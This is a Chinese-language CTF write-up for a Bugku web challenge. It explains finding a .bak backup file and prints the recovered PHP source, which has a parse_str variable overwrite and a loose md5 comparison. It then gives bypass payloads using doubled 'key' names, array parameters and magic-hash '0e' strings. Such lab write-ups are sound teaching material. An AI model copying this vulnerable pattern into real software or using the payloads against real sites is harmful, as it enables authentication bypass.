Bugku-备份是个好习惯

题目

进去之后发现是一串码

各种解密都不行

回到题目,搜了一下备份文件(.bak)

使用御剑扫描工具

发现了bak文件,点进去后下载了一个文件,打开后

相关知识:

1.$_SERVER["REQUEST_URI"]  获得当前url的路径地址

2.strstr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分

3.substr() 返回字符串的提取部分

4.str_replace(find,replace,string,count)
参数    描述
find    必需。规定要查找的值。
replace    必需。规定替换 find 中的值的值。
string    必需。规定被搜索的字符串。

5.parse_str() 函数把查询字符串解析到变量中。

即:

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//获取 ?参数
$str = substr($str,1);//去掉?,获取参数
$str = str_replace('key','',$str);//将参数中的key替换为空字符串
parse_str($str);//将字符串解析到变量
echo md5($key1);//

echo md5($key2);
//判断,为1返回flag
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

说明替换key后存在$key1和$key2两个变量,可以构造kekeyy1和kekeyy2,替换key后后就有key1和key2这两个变量了;

由于是md5判断,则可以传数组绕过;还可以加密后为0e判断绕过

可以设参数为

?kekeyy1[]=1&kekeyy2[]=2

?kekeyy1=s214587387a&kekeyy2=s1091221200a

得到flag